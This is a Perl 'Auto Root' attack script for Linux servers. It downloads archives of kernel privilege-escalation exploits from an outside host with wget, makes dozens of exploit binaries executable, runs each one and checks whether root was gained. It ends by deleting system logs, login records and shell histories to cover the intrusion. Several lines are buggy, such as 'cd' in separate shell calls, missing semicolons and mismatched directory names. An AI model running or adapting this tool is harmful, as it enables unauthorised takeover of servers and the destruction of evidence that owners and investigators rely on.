#!/usr/bin/perl

#Auto Root 2008-2014 

print "|====================================================|\n"; 
print "|                   | Autoroot |                     |\n"; 
print "|======================[ Use ]=======================|\n"; 
print "|         Auto Root Linux Servers 2008-2014          |\n"; 
print "|====================[ Autoroot ]====================|\n"; 
     $^O eq "MSWin32" ? system("cls&color 0a") : system("clear"); 
print"..."; 
    system("uname -a"); 
    system("id"); 
    system("whoami"); 
print "Gathering Exploit "; 
    system("mkdir Lrks"); 
    system("cd Leks"); 
    system("wget http://lrkbest.vvs.ir/2008.tar.gz"); 
 system("tar -xzf 2008.tar.gz"); 
 system("mkdir l2008"); 
 system("cp 2008 l2008"); 
    system("cd l2008"); 
    system("chmod 777 2.6.9"); 
    system("chmod 777 2.6.18"); 
    system("chmod 777 2.6.23=2008"); 
    system("chmod 777 2.6.27.7.c"); 
    system("./2.6.9;"); 
 system("id;whoami"); 
    system("./2.6.18"); 
 system("id;whoami"); 
    system("./2.6.23=2008"); 
 system("id;whoami"); 
    system("./2.6.27.7.c"); 
 system("id"); 
 system("whoami"); 
    sleep(2); 
 system("wget http://lrkbest.vvs.ir/2009.tar.gz"); 
 system("tar -xzf 2009.tar.gz"); 
 system("mkdir l2009"); 
 system("cp 2009 l2009"); 
    system("cd l2009"); 
 system("chmod 777 200.6.24"); 
 system("chmod 777 2009.6.18-164"); 
 system("chmod 777 2009.6.31_2009"); 
 system("chmod 777 2009.6.31_2009_2"); 
 system("chmod 777 2009.6.31_2009_3"); 
 system("chmod 777 dene"); 
 system("chmod 777 keris"); 
 system("chmod 777 ror"); 
 system("./200.6.24"); 
 system("id;whoami"); 
 system("./2009.6.18-164"); 
 system("id;whoami"); 
 system("./2009.6.31_2009"); 
 system("id;whoami"); 
 system("./2009.6.31_2009_2"); 
 system("id;whoami"); 
 system("./2009.6.31_2009_3"); 
 system("id;whoami"); 
 system("./dene"); 
 system("id;whoami"); 
 system("./keris"); 
 system("id;whoami"); 
 system("./ror"); 
 system("id"); 
 system("whoami"); 
    sleep(2); 
 system("wget http://lrkbest.vvs.ir/2010.tar.gz"); 
 system("mkdir l2010"); 
 system("tar -xzf 2010.tar.gz"); 
 system("cp 2010 l2010"); 
 system("cd l2010"); 
    system("chmod 777 2"); 
    system("chmod 777 2.6.18"); 
    system("chmod 777 2.6.18--2010"); 
    system("chmod 777 2.9.18-164"); 
    system("chmod 777 2.6.18-2010"); 
    system("chmod 777 2.6.3r00t.c"); 
    system("chmod 777 2.6.32.c"); 
    system("chmod 777 2-6.c"); 
    system("chmod 777 3"); 
    system("chmod 777 6"); 
    system("chmod 777 2010"); 
    system("chmod 777 2010-1"); 
    system("chmod 777 c"); 
    system("chmod 777 DataCoders"); 
    system("chmod 777 ia32syscall"); 
    system("chmod 777 kalakhan.c"); 
    system("chmod 777 local2627"); 
    system("chmod 777 robert_you_suck.c"); 
    system("chmod 777 sec.c"); 
    system("chmod 777 priv8-2.6.18-164-2010"); 
    system("chmod 777 shbd"); 
    system("./2"); 
 system("id;whoami"); 
    system("./2.6.18;id"); 
 system("id;whoami"); 
    system("./2.6.18--2010"); 
 system("id;whoami"); 
    system("./2.9.18-164"); 
 system("id;whoami"); 
    system("./2.6.18-2010"); 
 system("id;whoami"); 
    system("./2.6.3r00t.c"); 
 system("id;whoami"); 
    system("./2.6.32.c"); 
 system("id;whoami"); 
    system("./2-6.c"); 
 system("id;whoami"); 
    system("./3"); 
 system("id;whoami"); 
    system("./6"); 
 system("id;whoami"); 
    system("./2010"); 
 system("id;whoami"); 
    system("./2010-1"); 
 system("id;whoami"); 
    system("./c"); 
 system("id;whoami"); 
    system("./DataCoders"); 
 system("id;whoami"); 
    system("./ia32syscall"); 
 system("id;whoami"); 
    system("./kalakhan.c"); 
 system("id;whoami"); 
    system("./local2627"); 
 system("id;whoami"); 
    system("./robert_you_suck.c"); 
 system("id;whoami"); 
    system("./sec.c"); 
 system("id;whoami"); 
    system("./priv8-2.6.18-164-2010"); 
 system("id;whoami"); 
    system("./shbd"); 
 system("id;whoami"); 
    system("id"); 
 system("whoami"); 
    sleep(2); 
    system("wget http://lrkbest.vvs.ir/2011.tar.gz"); 
    system("mkdir l2011"); 
    system("cp 2011 l2011"); 
    system("cd l2011"); 
    system("chmod 777 2.6.18.308.sh"); 
    system("chmod 777 2.6.18.c"); 
    system("chmod 777 2.6.18_2011.c"); 
    system("chmod 777 2.6.18-6-x86-2011"); 
    system("chmod 777 2.6.18-274-2011"); 
    system("chmod 777 2.6.18-2012.c"); 
    system("chmod 777 2.6.32.9-rscloud-2010.c"); 
    system("chmod 777 2.6.32-2013.c"); 
    system("chmod 777 2.6.33.c"); 
    system("chmod 777 2.6.34.c"); 
    system("chmod 777 2.6.34-2011"); 
    system("chmod 777 2.6.34-2011.c"); 
    system("chmod 777 2.6.34-2011-2.c"); 
    system("chmod 777 2.6.37.c"); 
    system("chmod 777 2.6.37-rc2.c"); 
    system("chmod 777 2.6.43.2.c"); 
    system("chmod 777 2-6-32-46-2011"); 
    system("chmod 777 3.0.c"); 
    system("chmod 777 local2.6.18_2011.c"); 
    system("./2.6.18.308.sh"); 
 system("id;whoami"); 
    system("./2.6.18.c"); 
 system("id;whoami"); 
    system("./2.6.18_2011.c"); 
 system("id;whoami"); 
    system("./2.6.18-6-x86-2011"); 
 system("id;whoami"); 
    system("./2.6.18-274-2011"); 
 system("id;whoami"); 
    system("./2.6.18-2012.c"); 
 system("id;whoami"); 
    system("./2.6.32.9-rscloud-2010.c"); 
 system("id;whoami"); 
    system("./2.6.32-2013.c"); 
 system("id;whoami"); 
    system("./2.6.33.c"); 
 system("id;whoami"); 
    system("./2.6.34.c"); 
 system("id;whoami"); 
    system("./2.6.34-2011"); 
 system("id;whoami"); 
    system("./2.6.34-2011.c"); 
 system("id;whoami"); 
    system("./2.6.34-2011-2.c"); 
 system("id;whoami"); 
    system("./2.6.37.c"); 
 system("id;whoami"); 
    system("./2.6.37-rc2.c"); 
 system("id;whoami"); 
    system("./2.6.43.2.c"); 
 system("id;whoami"); 
    system("./2-6-32-46-2011"); 
 system("id;whoami"); 
    system("./3.0.c"); 
 system("id;whoami"); 
    system("./local2.6.18_2011.c"); 
    system("id"); 
 system("whoami"); 
    sleep(2); 
    system("wget http://lrkbest.vvs.ir/2012.tar.gz"); 
    system("mkdir l2012"); 
    system("tar -xzf 2012.tar.gz"); 
    system("cp 2011 l2011"); 
    system("cd l2012"); 
    system("chmod 777 2.6.18 2012.c"); 
    system("chmod 777 2.6.18.2012"); 
    system("chmod 777 2.6.18.2012.c"); 
    system("chmod 777 2.6.37-3+-2013.c"); 
    system("chmod 777 3.6,3.8.9-2013.c"); 
    system("chmod 777 2012-2.6.39"); 
    system("chmod 777 2012root.c"); 
    system("chmod 777 2012-root.c"); 
    system("chmod 777 a2.out"); 
    system("chmod 777 kingofcontrol2012"); 
    system("chmod 777 sec.out"); 
    system("./2.6.18 2012.c"); 
 system("id;whoami"); 
    system("./2.6.18.2012"); 
 system("id;whoami"); 
    system("./2.6.18.2012.c"); 
 system("id;whoami"); 
    system("./2.6.37-3+-2013.c"); 
 system("id;whoami"); 
    system("./3.6,3.8.9-2013.c"); 
 system("id;whoami"); 
    system("./2012-2.6.39"); 
 system("id;whoami"); 
    system("./2012root.c"); 
 system("id;whoami"); 
    system("./2012-root.c"); 
 system("id;whoami"); 
    system("./a2.out"); 
 system("id;whoami"); 
    system("./kingofcontrol2012"); 
 system("id;whoami"); 
    system("./sec.out"); 
    system("id"); 
 system("whoami"); 
    sleep(2); 
    system("wget http://lrkbest.vvs.ir/2013.tar.gz");    
    system("mkdir l2013"); 
    system("tar -xzf 2013.tar.gz"); 
    system("cp 2013 l2013"); 
    system("cd l2013"); 
    system("chmod 777 2.6.17.4_2013"); 
    system("chmod 777 2.6.32[2013].c"); 
    system("chmod 777 2.6.32-2013"); 
    system("chmod 777 rezk2ll"); 
    system("chmod 777 root-2013.2.6.32.c"); 
    system("chmod 777 sec.out"); 
    system("./2.6.17.4_2013"); 
 system("id;whoami"); 
    system("./2.6.32[2013].c"); 
 system("id;whoami"); 
    system("./2.6.32-2013"); 
 system("id;whoami"); 
    system("./sec.out"); 
 system("id;whoami"); 
    system("./rezk2ll"); 
 system("id;whoami"); 
    system("./root-2013.2.6.32.c"); 
    system("id"); 
    system("whoami"); 
    sleep(2); 
    system("wget http://lrkbest.vvs.ir/2014.zip"); 
    system("mkdir l2014"); 
    system("unzip 2014.zip"); 
    system("cp 2014 l2014"); 
    system("cd l2014"); 
    system("chmod 777 3.15"); 
 system("chmod 777 3.14.c") 
    system("./3.15"); 
 system("./3.14.c") 
    system("id"); 
    system("whoami"); 
    sleep(5);  
    print "..."; 
    print "#====================================================|\n"; 
    print " Jop Finish"; 
    print " Cleaning Log Started"; 
    print "|====================================================|\n"; 
    print "..."; 
    system("rm -rf /tmp/logs"); 
    system("rm -rf /root/.ksh_history"); 
    system("rm -rf /root/.bash_history"); 
    system("rm -rf /root/.bash_logout"); 
    system("rm -rf /usr/local/apache/logs"); 
    system("rm -rf /usr/local/apache/log"); 
    system("rm -rf /var/apache/logs"); 
    system("rm -rf /var/apache/log"); 
    system("rm -rf /var/run/utmp"); 
    system("rm -rf /var/logs"); 
    system("rm -rf /var/log"); 
    system("rm -rf /var/adm"); 
    system("rm -rf /etc/wtmp"); 
    system("rm -rf /etc/utmp"); 
    print "..."; 
 print "#====================================================|\n"; 
    print "The Logs Has Been Cleaned"; 
    print " Good Lock ;-)"; 
    print "|====================================================|\n"; 
 system("exit")